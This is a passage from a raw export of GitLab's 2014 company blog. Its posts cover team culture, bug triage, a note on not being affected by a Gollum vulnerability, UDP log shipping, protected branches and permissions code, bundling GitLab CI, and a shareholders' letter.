didn't\nhave the answer right away. I can always ask the incredible team I work with, and no one is going to bite my head off for\nnot knowing something.\n\nBefore Haydn and I joined the team, a normal day of work would start with the Team Call, but since both of us are on the\nother side of the Atlantic, this meeting was moved towards the end of the day for those in Europe, so the guys in the Americas\ncould start the day with the Team Call. Here we discuss the most important topics of the day, like any outstanding issues,\nnew features or comments from the community and our clients. This call is intended to inform everyone of what the\nothers are doing and to ask questions to the whole team.\n\nEach department also has its own daily call to deal with specific topics that might only concern Sales, Development or\nSupport.\n\nGitLab B.V. is a great place to work. I know Sytse has gone to great lengths to give us the best work atmosphere possible\nand to always keep us happy. Each of us has an extra meeting with him each week, where he asks us how happy we are with\nthe job we are doing and if there is anything he and the company can do to improve it.\n\n\n## What I've learned\n\n- It is OK to make mistakes, as long as you always learn from them and do your best to improve.\n- It is OK if you don't know something. You can always learn it later.\n- It is important to not just to ask questions, but to ask the right questions.\n- A distributed team can be just as or sometimes even more productive than a local team.\n- A small problem will turn into a big one if it's not handled in a timely manner.\n\n\nIn conclusion, I'd like to say that I'm really thankful to be where I am right now. These 2 months have been incredible.\nI really like what I do and that has made the time go by so fast. I enjoy working with GitLab B.V. and with a team so\ntalented and focused as this one. I hope to stay here longer and one day tell you about my first 2 years here.\n",{"slug":40316,"featured":6,"template":678},"my-first-months-at-gitlab-bv","content:en-us:blog:my-first-months-at-gitlab-bv.yml","My First Months At Gitlab Bv","en-us/blog/my-first-months-at-gitlab-bv.yml","en-us/blog/my-first-months-at-gitlab-bv",{"_path":40322,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40323,"content":40328,"config":40332,"_id":40334,"_type":16,"title":40335,"_source":17,"_file":40336,"_stem":40337,"_extension":20},"/en-us/blog/three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability",{"title":40324,"description":40325,"ogTitle":40324,"ogDescription":40325,"noIndex":6,"ogImage":12013,"ogUrl":40326,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40326,"schema":40327},"3 reasons GitLab isn't vulnerable to Gollum + 1 tip","3 reasons why GitLab is not vulnerable to the Gollum vulnerability and 1 tip","https://about.gitlab.com/blog/three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 reasons why GitLab is not vulnerable to the Gollum vulnerability and 1 tip\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-12-09\",\n      }",{"title":40325,"description":40325,"authors":40329,"heroImage":12013,"date":40330,"body":40331,"category":299},[36660],"2014-12-09","\n\nThree days ago, Gollum, the git-powered wiki that is used in GitLab disclosed a\n[vulnerability](https://github.com/gollum/gollum/issues/913) that makes it possible to execute code on the\nserver that Gollum is running. Someone could exploit this to bring down your server or access your data.\n**GitLab is not vulnerable for this, here's why:**\n\n\u003C!-- more -->\n\n1. GitLab has implemented its own search and doesn't use Gollum's search.\n\n2. For search, we made sure to use `Shellwords.shellescape(query)`.\n\n3. Since GitLab 7.4, we switched to rugged, avoiding any use of grit [altogether](https://gitlab.com/gitlab-org/gitlab_git/blob/master/lib/gitlab_git/repository.rb#L194).\n\nWe've verified that GitLab installations prior to version 6.6 are **not** vulnerable\nto the Gollum vulnerability either.\n\n## 1 Tip\n\nIronically, it was [our own gem](https://gitlab.com/gitlab-org/gitlab-grit) that caused this.\nWe've created a [guide](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/development/shell_commands.md)\nto combat remote code execution vulnerabilities we've found previously in GitLab.\nWe should have rewritten our gem to our own guidelines, but we're switching GitLab\nto [Rugged](https://github.com/libgit2/rugged) instead.\n\nWe recommend all Ruby developers to adopt our guidelines and take note from this.\n\nAs with everything in GitLab, if you see something that can be improved, please send us a merge request.\n\n## About GitLab\n\nYou can try GitLab by [downloading](/install/) the Community Edition and installing it on your own server or by signing up to our free, unlimited GitLab instance [GitLab.com](https://gitlab.com/users/sign_up).\n\nCheck out [GitLab Enterprise Edition](/pricing/feature-comparison/) for deep LDAP integration, git hooks, Jenkins integration and many more powerful enterprise features.\n",{"slug":40333,"featured":6,"template":678},"three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability","content:en-us:blog:three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability.yml","Three Reasons Gitlab Is Not Vulnerable To The Gollum Vulnerability","en-us/blog/three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability.yml","en-us/blog/three-reasons-gitlab-is-not-vulnerable-to-the-gollum-vulnerability",{"_path":40339,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40340,"content":40345,"config":40349,"_id":40351,"_type":16,"title":40352,"_source":17,"_file":40353,"_stem":40354,"_extension":20},"/en-us/blog/explaining-gitlab-bugs",{"title":40341,"description":40342,"ogTitle":40341,"ogDescription":40342,"noIndex":6,"ogImage":12013,"ogUrl":40343,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40343,"schema":40344},"Explaining GitLab bugs","This blog post will give a short overview on how GitLab bugs are handled, and what you can do after you identify a potential bug in GitLab.","https://about.gitlab.com/blog/explaining-gitlab-bugs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Explaining GitLab bugs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Radulescu\"}],\n        \"datePublished\": \"2014-12-08\",\n      }",{"title":40341,"description":40342,"authors":40346,"heroImage":12013,"date":40347,"body":40348,"category":8943},[40081],"2014-12-08","\n\nThis blog post will give a short overview on how GitLab bugs are handled, and what you can do after you identify a potential bug in GitLab.\n\nThe GitLab community differentiates between three different types of bugs:\n\n - Security bugs\n - Regression bugs\n - Feature bugs\n\n\u003C!-- more -->\n\nThe image below illustrates the big picture:\n\n[![screenshot](https://about.gitlab.com/images/gitlab_bugs/bugs_alt.png)](/images/gitlab_bugs/bugs_alt.png)\n\n## Security bugs\n\nSecurity bugs are system vulnerabilities that can be exploited to allow a user to gain unauthorized access to the GitLab server.\nThe GitLab B.V. team always treats them as top priority.\nWe give feedback within 1-2 days of notice.\nDepending on the severity of the vulnerability, we will either patch GitLab, or fix the issue in the next minor release.\n\nIf you find a security bug in GitLab, please make sure to use [responsible disclosure](/security/disclosure/), and reach out to the GitLab team via [support.gitlab.com](https://support.gitlab.com/).\n\n## Regression bugs\n\nRegression bugs are bugs in the functionality of GitLab, that are unknowingly introduced in a new release.\nThese refer to features which used to work in an older version, but which are bugged in the current release.\nRegression bugs are treated with priority.\nWe assess the impact of the regression bug and either create a patch or, more frequently, include the fix in the next minor release.\n\nIf you identify a regression bug, please share it to the GitLab community either via [Twitter](https://twitter.com/gitlabhq), or by posting it in the [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues).\n\n## Feature bugs\n\nGitLab's features don't cover all use and corner cases, so you might come across a feature that behaves different from what you'd expect.\nIf this is the case, and if the unexpected behavior is not a regression, it is considered a feature bug.\nDepending on the impact on GitLab's functionality, fixing this kind of bug might be considered a priority.\nBefore announcing it the GitLab issue tracker, please make sure to double-check the community and our teams' comments on the feature on the feedback tracker, on the changelog and in the release blog post.\n\nIf you have a specific corner case that is not covered by the feature, please use the [feedback tracker](http://feedback.gitlab.com/forums/176466-general) to bring it to the community's attention.\n\nIf your use case is generic, and the feature is obviously buggy, please report it in the [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues).\n\n##Contributing\n\nThe majority of GitLab bugs are found and fixed by the GitLab community.\nThere are more than 600 external contributors already.\nWhenever you find a bug in GitLab, you can also [contribute](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md) the fix, and add your contribution in the [changelog](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG).\n",{"slug":40350,"featured":6,"template":678},"explaining-gitlab-bugs","content:en-us:blog:explaining-gitlab-bugs.yml","Explaining Gitlab Bugs","en-us/blog/explaining-gitlab-bugs.yml","en-us/blog/explaining-gitlab-bugs",{"_path":40356,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40357,"content":40362,"config":40365,"_id":40367,"_type":16,"title":40368,"_source":17,"_file":40369,"_stem":40370,"_extension":20},"/en-us/blog/ship-log-data-off-site-using-udp",{"title":40358,"description":40359,"ogTitle":40358,"ogDescription":40359,"noIndex":6,"ogImage":12013,"ogUrl":40360,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40360,"schema":40361},"How you can send your logs ballistically using UDP","With GitLab Enterprise Edition 7.1 and up Omnibus packages, we introduced UDP log shipping.","https://about.gitlab.com/blog/ship-log-data-off-site-using-udp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How you can send your logs ballistically using UDP\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-12-08\",\n      }",{"title":40358,"description":40359,"authors":40363,"heroImage":12013,"date":40347,"body":40364,"category":734},[36660],"\n\nThe last thing you want to happen is having problems on your server due to your logs.\nYou need them to debug problems, not cause them. With large GitLab instances, it's\na great idea to ship your logs to a separate server. This way, they are easier to manage\nand you don't need to worry about space. But by using TCP to send the logs you risk\na connection failure and subsequent problems with your instance.\n\nTherefore, with GitLab Enterprise Edition (7.1 and up) Omnibus packages,\nwe introduced UDP log shipping.\nAs opposed to TCP, UDP doesn't care about whether packets get received,\nit keeps sending them in a non-blocking, fire-and-forget manner.\nThat makes UDP really fast, lightweight and if you log server crashes, it won't\naffect your GitLab instance. UDP doesn't care.\n\n\u003C!-- more -->\n\n## Setting up UDP log shipping\n\nUDP log shipping is very easy to set up. You simply add the following lines to `/etc/gitlab/gitlab.rb`:\n\n```\nlogging['udp_log_shipping_host'] = '1.2.3.4' # Your syslog server\nlogging['udp_log_shipping_port'] = 1514 # Optional, defaults to 514 (syslog)\n```\n\nAnd run `sudo gitlab-ctl reconfigure`. Now your logs will be shipped speedily to `1.2.3.4:1514`!\n\nAn example of what your syslog server will receive:\n\n```\n\u003C13>Jun 26 06:33:46 ubuntu1204-test production.log: Started GET \"/root/my-project/import\" for 127.0.0.1 at 2014-06-26 06:33:46 -0700\n\u003C13>Jun 26 06:33:46 ubuntu1204-test production.log: Processing by ProjectsController#import as HTML\n\u003C13>Jun 26 06:33:46 ubuntu1204-test production.log: Parameters: {\"id\"=>\"root/my-project\"}\n\u003C13>Jun 26 06:33:46 ubuntu1204-test production.log: Completed 200 OK in 122ms (Views: 71.9ms | ActiveRecord: 12.2ms)\n```\n\n## How it works\n\nThe services of GitLab write log messages to logfiles (such as `production.log`)\nor to STDOUT. GitLab Omnibus packages use [svlogd](http://smarden.org/runit/svlogd.8.html)\nto log STDOUT to for instance `sidekiq/current`.\n\nsvlogd is great, as it allows us to ship these logs using UDP and even rotate them.\nHowever, it can't work with `.log` files. So in addition to svlogd, we make\nuse of [remote_syslog](https://github.com/papertrail/remote_syslog), which can work\nwith `.log` files and allows us to ship the using UDP.\n\nBy using a single configuration option in the Omnibus package, as shown above,\nwe were able to make UDP log shipping simple to set up and flexible enough to work\nwith both `.log` files and STDOUT logging.\n\n\n## About GitLab\n\nWant to start to use UDP log shipping? Check out [GitLab Enterprise Edition](/pricing/feature-comparison/).\nA subscription also includes support, deep LDAP integration, git hooks, Jenkins integration and many more powerful enterprise features.\n\nYou can try GitLab by [downloading](/install/) the Community Edition and installing it on your own server or by signing up to our free, unlimited GitLab instance [GitLab.com](https://gitlab.com/users/sign_up).\n\nSee our previous feature highlights:\n\n- [Groups](/blog/feature-highlight-groups/)\n- [Git Hooks](/blog/feature-highlight-git-hooks/)\n- [Branded Login](/blog/feature-highlight-branded-login-gitlab-ee/)\n- [LDAP Integration](/blog/feature-highlight-ldap-sync/)\n",{"slug":40366,"featured":6,"template":678},"ship-log-data-off-site-using-udp","content:en-us:blog:ship-log-data-off-site-using-udp.yml","Ship Log Data Off Site Using Udp","en-us/blog/ship-log-data-off-site-using-udp.yml","en-us/blog/ship-log-data-off-site-using-udp",{"_path":40372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40373,"content":40379,"config":40383,"_id":40385,"_type":16,"title":40386,"_source":17,"_file":40387,"_stem":40388,"_extension":20},"/en-us/blog/keeping-your-code-protected",{"title":40374,"description":40375,"ogTitle":40374,"ogDescription":40375,"noIndex":6,"ogImage":40376,"ogUrl":40377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40377,"schema":40378},"How GitLab Permissions and Protected Branches Keep Your Code Safe","At GitLab we believe that by preventing force pushes and by stimulating code review practices, mistakes can be easily avoided and code quality will improve.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684249/Blog/Hero%20Images/how-permissions-and-protected-branches-keep-your-code-safe.jpg","https://about.gitlab.com/blog/keeping-your-code-protected","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab Permissions and Protected Branches Keep Your Code Safe\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-11-26\",\n      }",{"title":40374,"description":40375,"authors":40380,"heroImage":40376,"date":40381,"body":40382,"category":8943},[36660],"2014-11-26","\n\nGit is very easy to use and abuse.\nA single `git push --force` command can easily ruin the day for a lot of people:\n\n> As a result, these [186 Jenkins'] repositories have their branch heads rewinded to point to older commits, and in effect the newer commits were misplaced after the bad git-push.\n\nOn November 10, 2013, a Jenkins developer had [accidentally forced pushed](http://jenkins-ci.org/content/summary-report-git-repository-disruption-incident-nov-10th) to 186 repositories,\nbringing them back two months in time.\n\nThe power that Git gives you to change history is great when you're working alone,\nbut potentially disrupting if you're working with others, as shown by a poor Jenkins developer.\nWhen you're working with others, not only do you not want to allow `git push --force`,\nbut before anything is committed to the main repository or branch, the **code should be reviewed**.\n\nAt GitLab we believe that by preventing force pushes and by stimulating [code review](/solutions/source-code-management/) practices,\nmistakes can be easily avoided and code quality will improve.\nTo make it easier to work together with code and Git we have created a surprisingly simple permission system,\nbuilt on top of an elegant authorization method.\n\n\u003C!--more-->\n\n## Read, Write\n\nPermissions in GitLab are fundamentally defined around the idea of having read or write permission to the repository and branches.\nNot only is this an easy-to-grasp concept, it doesn't add any unnecessary complexity to permission management while still offering granular access control.\nBy naming our permissions after their role within a project, it immediately becomes clear what each permission is intended for. **In GitLab, developers are called _Developer_**.\n\n\nIn our experience, this covers almost all cases and can be fitted to any organisation easily.\n\n- Guest     - No access to code\n- Reporter  - Read the repository\n- Developer - Read/Write to the repository\n- Maintainer - Read/Write to the repository + partial administrative capabilities\n- Owner     - Read/Write to the repository + full administrative capabilities\n\nThe permissions are named to reflect their purpose. A user with the lowest private permission _Guest_\nis only able to make use of the issues in a project and does not have read access to the code;\na guest of the project.\n\nThe _Reporter_ permission has the same abilities, but also has read access to the code,\nmeaning they can fork the project.\nThis is ideal for those that you do not want to be pushing to your repository,\nbut still want to give access to the code and give the option to fork off.\n\nAs the name implies, developers on a project should get the role _Developer_.\nAny developer has write permission to the repository, meaning they can branch off,\nwork in and push their own branch back to the repository.\n\nBy defining permission on a read/write basis with clear names,\nit quickly becomes clear which permission or access level should be used to secure a project.\nHowever, they do not solve the issues with modifying history,\nnor do they help with collaboration: anyone can (force) push to any branch (such as the master or default branch).\n\n## Protecting your code with protected branches\n\n\nTo stop people from messing with history or pushing code without review, we've created **protected branches** to add a layer of branch protection. A protected branch does three simple things:\n\n- it prevents pushes from everybody except users with Maintainer permission\n- it prevents _anyone_ from force pushing to the branch\n- it prevents _anyone_ from deleting the branch\n\nYou can make any branch a protected branch. We make the master branch a protected branch by default, but you can turn that off.\n\n[![protected branches in GitLab](https://about.gitlab.com/images/protected_branches.png)](/images/protected_branches.png)\n\n***We use protected branches on the [GitLab repository](https://gitlab.com/gitlab-org/gitlab-ce) to protect our release branches***\n\nNow, if you want to contribute code to a protected branch as a developer, you can simply push your feature branch and **create a merge request** towards the protected branch. History is protected and the code gets reviewed before it's merged.\n\nNote that even _Maintainer_ is not able to force push to or delete a protected branch. We believe in a simple solution:\n\n> Do not let anyone change the history of a shared branch. Revert changes in the present.\n\nYou can easily add a commit on top of history to revert earlier changes.\nThis is much easier to work with than changes in history on top of which people already committed.\nIn addition, you probably do not want to delete such an important branch, hence the inability to remove it.\n\n\n## How we define permissions\n\nBy basing permissions on simple principles and adding protected branches,\nGitLab allows you to set up any type of workflow, while protecting your code from easily made mistakes.\nUnderlying this elegant scheme is a surprisingly simple authorization gem,\n[Six](https://gitlab.com/dzaporozhets/six).\n\nIn a single class `Ability`, we have defined a number of class methods to set the permissions.\nFor instance, for _Developer_:\n\n```\n# app/models/ability.rb:139\ndef project_dev_rules\n  project_report_rules + [\n    :write_merge_request,\n    :write_wiki,\n    :modify_issue,\n    :admin_issue,\n    :admin_label,\n    :push_code\n  ]\nend\n```\nSix has defined an `allowed?` method that check whether a permission exists for a certain object,\nbased on the abilities that you've defined for that class (such as above for _Developer_).\nTo make use of a similar syntax as the often-used [Cancan](https://github.com/ryanb/cancan) authorization gem, you can define a similar method with Six:\n\n```\n# app/models/user.rb:351\ndef can?(object, action, subject)\n  abilities.allowed?(object, action, subject)\nend\n```\n\nThen all we have to do is check the permission wherever we need it.\nFor instance to check whether someone is allowed to destroy a snippet:\n\n```\ndef destroy\n  return access_denied! unless can?(current_user, :admin_personal_snippet, @snippet)\n  @snippet.destroy\n  redirect_to snippets_path\nend\n```\n\nBy using the plain-ruby approach of [Six](https://gitlab.com/dzaporozhets/six) you get a very flexible\nand expendable authorization solution.\nIn GitLab we leverage this to create easy to understand permissions\nthat reflect how most organisations use GitLab.\n\n## About GitLab\n\nInterested in trying GitLab's protected branches?\nYou can try GitLab by [downloading](/install/) the Community Edition and installing it on your own server or by signing up to our free, unlimited GitLab instance [GitLab.com](https://gitlab.com/users/sign_up).\n\nFor support, deep LDAP integration, git hooks, Jenkins integration and more enterprise features, check out [GitLab Enterprise Edition](/pricing/feature-comparison/).\n\nFor more on Git workflows, read our article on [GitLab Flow](/topics/version-control/what-is-gitlab-flow/).\n",{"slug":40384,"featured":6,"template":678},"keeping-your-code-protected","content:en-us:blog:keeping-your-code-protected.yml","Keeping Your Code Protected","en-us/blog/keeping-your-code-protected.yml","en-us/blog/keeping-your-code-protected",{"_path":40390,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40391,"content":40396,"config":40400,"_id":40402,"_type":16,"title":40403,"_source":17,"_file":40404,"_stem":40405,"_extension":20},"/en-us/blog/gitlab-omnibus-packages-now-include-gitlab-ci",{"title":40392,"description":40393,"ogTitle":40392,"ogDescription":40393,"noIndex":6,"ogImage":12013,"ogUrl":40394,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40394,"schema":40395},"GitLab Omnibus packages now include GitLab CI","Today we are excited to announce that our Omnibus packages now include the GitLab CI Coordinator.","https://about.gitlab.com/blog/gitlab-omnibus-packages-now-include-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Omnibus packages now include GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2014-11-06\",\n      }",{"title":40392,"description":40393,"authors":40397,"heroImage":12013,"date":40398,"body":40399,"category":734},[15467],"2014-11-06","\n\nBack in February of this year, we radically simplified the installation process\nof GitLab with the [first release of our Omnibus\npackages for GitLab](/blog/gitlab-is-now-simple-to-install/). Today we are excited\nto announce that our Omnibus packages now include the [GitLab CI](/solutions/continuous-integration/)\nCoordinator.\n\nTo start using GitLab CI on your GitLab server you need to take the following steps:\n\n- [download and install](/install/) the latest Omnibus package for your platform;\n- create a DNS record for GitLab CI pointing to your GitLab server, e.g. `ci.example.com`;\n- add the following line to `/etc/gitlab/gitlab.rb`:\n\n```\n# External URL to reach the GitLab CI Coordinator at\nci_external_url 'http://ci.example.com'\n```\n\nThen run `sudo gitlab-ctl reconfigure` and you have a CI Coordinator running on\nyour GitLab server, integrated with GitLab!\n\n\u003C!-- more -->\n\nTo start running your builds, set up one or more [GitLab CI\nRunners](https://gitlab.com/gitlab-org/gitlab-ci-runner/blob/master/README.md).\n\nThe Omnibus-specific documentation for GitLab CI Coordinator can be found [in\nthe Omnibus-GitLab\nrepo](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc/gitlab-ci).\n\nIf you want to run the GitLab CI Coordinator on a separate server from your\nGitLab server you can [disable the GitLab\nservices bundled in the Omnibus packages](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc/gitlab-ci/README.md#running-gitlab-ci-on-its-own-server).\n\n## Under the hood\n\nRunning GitLab CI in the standard configuration (2 Unicorn workers) will\nrequire about 500MB of RAM.\n\nBy bundling the GitLab CI Coordinator into the Omnibus packages we are able to\nreuse the bundled Ruby, Postgres, NGINX and Redis, as well as the `gitlab-ctl`\nutility. Because of all this reuse of available components, GitLab CI is adding\nonly about 20MB of data to the package downloads. If you are not using GitLab\nCI you will not notice that it is there.\n\n_Update 2014-11-06 18:17 CET:_ Fixed the date attribute on the blog post.\n",{"slug":40401,"featured":6,"template":678},"gitlab-omnibus-packages-now-include-gitlab-ci","content:en-us:blog:gitlab-omnibus-packages-now-include-gitlab-ci.yml","Gitlab Omnibus Packages Now Include Gitlab Ci","en-us/blog/gitlab-omnibus-packages-now-include-gitlab-ci.yml","en-us/blog/gitlab-omnibus-packages-now-include-gitlab-ci",{"_path":40407,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40408,"content":40413,"config":40417,"_id":40419,"_type":16,"title":40420,"_source":17,"_file":40421,"_stem":40422,"_extension":20},"/en-us/blog/happiness-at-gitlab",{"title":40409,"description":40410,"ogTitle":40409,"ogDescription":40410,"noIndex":6,"ogImage":12013,"ogUrl":40411,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40411,"schema":40412},"Happiness at GitLab","People are happy at GitLab. Happy people are more productive.","https://about.gitlab.com/blog/happiness-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Happiness at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-10-09\",\n      }",{"title":40409,"description":40410,"authors":40414,"heroImage":12013,"date":40415,"body":40416,"category":6634},[36660],"2014-10-09","\n\nPeople are happy at GitLab. Happy people are more productive [1].\nThat’s not an easy feat to achieve and something we want to preserve as we grow.\nThis is how we try to make people happy, it may serve as inspiration for your startup (and no more).\n\n\u003C!--more-->\n\n## Measure\n\nEvery month, Sytse (CEO) asks everyone:\n\n> On a scale from 1 to 10 how would you rate your work happiness over the past month?\n>\n> Is there anything you would like to discuss to improve your work happiness?\n\nHe set a high standard: everything below 8 is cause for troubleshooting.\n\n## Prioritise\n\nWe think that a lot of things in life are more important than work.\nIf you have health, family or any personal issues to sort out, you do not have to ask for permission to leave.\nTake care of yourself first.\n\n## Assume independence\n\nNo one likes to be told what to do.\nEveryone at GitLab is expected to take care of their responsibilities.\nLikely, they know more of them than anyone else.\nAs people are happy, they’re also extremely likely to help.\nIf you need any, just ask.\n\nBy assuming independence, people take the liberty to pursue additional goals.\nAn engineer might write a blog post, an account manager might start a new marketing initiative.\n\n## Work whenever, wherever\n\nWorking many hours at end is tiring and commuting is a waste of energy if you prefer to do your work from home.\nMost people [2]  [work from home at GitLab](/blog/how-gitlab-works-remotely/) and take the liberty to visit the gym, supermarket or hairdresser in the middle of the day.\n\nIf you want to meet a friend for lunch, that’s fine too.\nYou’re expected to handle your responsibilities and no one will question you while you do.\n\n## Take care\n\nGitLab is a close group of people.\nWe start our daily meeting with talking about our lives after work.\nBecause we now consist of eight, that takes about 50% of the time of the average meeting.\nWe know that one of us is an avid fire slinger, one just moved house and another spend the night skating.\nIn good or bad times, it’s great to know that your colleagues care.\n\n[1] follow links for papers: [Warwick article](http://www2.warwick.ac.uk/newsandevents/pressreleases/new_study_shows/) & [Quartz article](http://qz.com/190659/happy-people-are-more-productive-especially-if-you-give-them-chocolate)\n\n\n[2] We now have an office in Ukraine! Dmitriy and Valery code there happily together.\n",{"slug":40418,"featured":6,"template":678},"happiness-at-gitlab","content:en-us:blog:happiness-at-gitlab.yml","Happiness At Gitlab","en-us/blog/happiness-at-gitlab.yml","en-us/blog/happiness-at-gitlab",{"_path":40424,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40425,"content":40430,"config":40434,"_id":40436,"_type":16,"title":40437,"_source":17,"_file":40438,"_stem":40439,"_extension":20},"/en-us/blog/letter-from-shareholders",{"title":40426,"description":40427,"ogTitle":40426,"ogDescription":40427,"noIndex":6,"ogImage":12013,"ogUrl":40428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40428,"schema":40429},"Letter from shareholders","We strongly believe that the best years are still ahead and want to share our vision for GitLab.","https://about.gitlab.com/blog/letter-from-shareholders","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Letter from shareholders\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-10-08\",\n      }",{"title":40426,"description":40427,"authors":40431,"heroImage":12013,"date":40432,"body":40433,"category":299},[3532],"2014-10-08","\n\nToday it is three years ago that the first commit to GitLab was made.\nWe strongly believe that the best years are still ahead and want to share our vision for GitLab.\n\nWe do this as the sole shareholders of GitLab B.V., Dmitriy Zaporozhets and Sytse Sijbrandij.\nGitLab B.V. is the commercial entity that releases GitLab, offers paid services and runs GitLab.com.\n\nBefore describing our vision we want to share how GitLab started.\nGitLab was started in 2011 by Dmitriy Zaporozhets and Valeriy Sizov.\nThey started it because they had a need for a tool that they could use locally in freedom.\nLiving in the Ukraine they had limited resources, to this day Dmitriy has no running water at his house.\nBut instead of leaving the Ukraine they want to build a future there.\nAnd after creating GitLab Dmitriy started to work two jobs.\nDuring the day working for his consultancy and when he got home improving GitLab.\nThe problem was that the second job didn't pay anything, but Dmitriy didn't care.\n\n\u003C!--more-->\n\nIn 2012 GitLab grew so fast that it became impossible to do anything else.\nDmitriy tweeted that he wanted to work on GitLab fulltime, quite daring since he was still an employee.\nSytse had just started GitLab.com and paid Dmitriy to work on it.\nIn 2013 we co-founded GitLab B.V. as a commercial entity.\nWe have adopted the 'open-core' business model where there are an open source and proprietary version.\nWe mainly generate income by selling subscriptions to the proprietary GitLab Enterprise Edition.\nWe currently employ 7 people and over 100.000 organizations are using GitLab.\n\nWe strongly believe in the benefit of open source as a better way to create software.\nWe're both Rails developers and have been amazed at the open tools we could use.\nEverything from databases to frameworks and from editors to webservers has been open.\nOne awesome development has been the use of git version control to collaborate better.\nAnd while git was open some of the tools around it have been closed.\n\nWe feel that all the tools that you need to deliver software are better when they are open.\nYou should be able to inspect your tools, modify them and share improvements with other users.\nBeing aware that our code is open source also makes us hold ourselves to a higher standard when fixing issues or coding new features.\n[In the words of Nathan Sobo](http://blog.atom.io/2014/05/06/atom-is-now-open-source.html): \"We think being open source will help us get there faster, and more importantly, source access will give you the transparency and control you've told us you expect from your tools.\"\n\nWe want to ensure that GitLab has a long future and will always be maintained with great care.\nWe have found that release management, vulnerability disclosure handling and performance improvement take a lot of time.\nAnd while more than [680 people contributed to GitLab](http://contributors.gitlab.com/) there is always a need for more effort.\nThe [GitLab Core team](/community/core-team/) is full of people donating their time to help with this.\nBut to offer a worry-free experience to the most demanding users we do need a paid development effort as well.\n\nWe want to be good stewards of GitLab and we do never want to be [forced to sell to an organization that doesn't share our goals](http://en.wikipedia.org/wiki/Sun_acquisition_by_Oracle#MySQL_petition_and_forks).\nTherefore we needed to generate income in a sustainable way and introduced a prorietary version of GitLab, called GitLab Enterprise Edition.\nAnyone using it is still able to inspect the source, modify it and share changes with the rest of the licensed users.\nWe carefully discuss with the whole community which features belong in there and which ones should be in the open source edition.\nThese tradeoffs are continually made and we're open to open sourcing some of the proprietary features when this is the consensus.\n\nHaving a propriety offering has allowed the rapid development of GitLab over the last year.\nIt also allowed us to offer GitLab.com for free to anyone who wants to store their source on open source.\nAnd it allowed Dmitriy to open an GitLab B.V. office in the Ukraine together with Valeriy Sizov (and running water :-).\nIt also allows us to help people who earned some help, and we will donate 15.000 euro to [Mehackit](http://mehackit.org/).\nMehackit is run by Pia Henrietta Kekäläinen who tirelessly worked two years without pay at getting Railsgirls off the ground.\n\nIn the coming years we hope to grow with the rest of the GitLab community.\nOur plan is to stay independent and to serve the needs of the community\nWe believe every software delivery tool should show you the source.\nIf you believe that too please [contribute](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md) to GitLab.\nMaking the world better off by creating tools that come with freedom.\n",{"slug":40435,"featured":6,"template":678},"letter-from-shareholders","content:en-us:blog:letter-from-shareholders.yml","Letter From Shareholders","en-us/blog/letter-from-shareholders.yml","en-us/blog/letter-from-shareholders",{"_path":40441,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40442,"content":40447,"config":40452,"_id":40454,"_type":16,"title":40455,"_source":17,"_file":40456,"_stem":40457,"_extension":20},"/en-us/blog/wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering",{"title":40443,"description":40444,"ogTitle":40443,"ogDescription":40444,"noIndex":6,"ogImage":12013,"ogUrl":40445,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40445,"schema":40446},"WANdisco integrates GitLab Enterprise in Git MultiSite","GitLab, the world’s leader open source version control, announced today that GitLab is partnering with WANdisco.","https://about.gitlab.com/blog/wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        